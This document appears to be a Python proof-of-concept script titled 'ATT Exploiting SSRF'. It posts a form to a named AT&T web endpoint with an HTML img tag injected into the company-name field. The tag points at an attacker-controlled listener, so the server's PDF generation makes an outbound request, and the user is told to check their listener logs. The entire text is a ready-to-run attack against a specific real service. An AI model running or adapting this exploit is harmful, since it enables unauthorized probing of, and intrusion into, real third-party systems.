ATT Exploiting SSRF

attssrf.py

import requests

url = "https://onlinefaxtwo.att.com/loa.php"


listener = input('Listener address. default port [80]: ')

headers = {'Content-type': 'application/x-www-form-urlencoded'}
data = {'uCompanyName': '<img src="http://' + listener + '">',
        'uPersonAuth':'asas',
        'uServProvider':'asas',
        'uServAddress':'asa',
        'uCity':'daniel',
        'uState':'NY',
        'uZip':'11100',
        'uPortNum':'9739018822',
        'uBTN':'1212121212',
        'cQlc':'on',
        'cQit':'on',
        'cQic':'on',
        'getLOApdf':''}


print("Request should be sent within 10 seconds")
r = requests.post(url, data=data, headers=headers, timeout=10)
print("Check your server LOGS :)")